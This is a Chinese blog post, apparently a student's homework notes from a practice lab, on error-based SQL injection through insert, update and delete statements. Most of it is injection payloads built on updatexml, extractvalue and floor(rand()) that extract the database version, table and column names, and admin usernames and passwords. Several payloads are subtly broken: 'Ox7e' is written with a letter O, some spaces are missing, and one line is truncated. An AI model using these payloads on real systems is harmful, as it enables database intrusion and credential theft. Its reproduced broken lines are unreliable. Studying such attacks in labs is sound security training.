您的位置:首页 > 其它

黄教头第四周作业 基于insert update delete注入利用案

2019-03-31 20:07 603 查看

基于insert update delete注入利用案

用单引号进行提交
返回错误信息
去到mysql里
insert into member (username,pw,sex,phonenum,email,address)values(‘xiaohong’,111111,1,2,3,4);


delete

kobe’ and updatexml(1,concat(0x7e,version()),0)#

kobe’ and updatexml(1,concat(0x7e,database()),0)#
#报错只能一次显示一行
kobe ’ and updatexml(1,concat(Ox7e,(select table_name from information_schema.tables wheretable_schema=‘pikachu’)),0)#
可以使用limit一次一次进行获取表名:
kobe ’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=‘pikachu’ limit 0,1)),0)#
获取到表名后, 在获取列明, 思路是一样的:
kobe ‘and updatexml(1,concat(0x7e,(select column_name from information_schema.columns wherelimit 0,1)),0)#
获取到列名称后, 再来获取数据:
kobe’and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)
kobe’ and updatexml(1,concat(0x7e,(select password from users where username=‘admin’ limit
基于insert/update下的报错:
xiaohong’ or updatexml(1,concat(0x7e,database()),0) or
基于delete下的报错:|
1 or updatexml(1,concat(Ox7e,database()),0)

基于报错的信息获取-三个常用的用来报错的函数-extractvalue()
extractvalue(函数作用:从目标XML中返回包含所查询值的字符串.
语法:ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误

kobe’and extractvalue (0,concat(0x7e,version()))#
拿到版本

floor()取整

kobe’and (select 2 from (select count(*),concat(version(),floor(rand()*2))x from information_schema.tables group by x)a)#

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: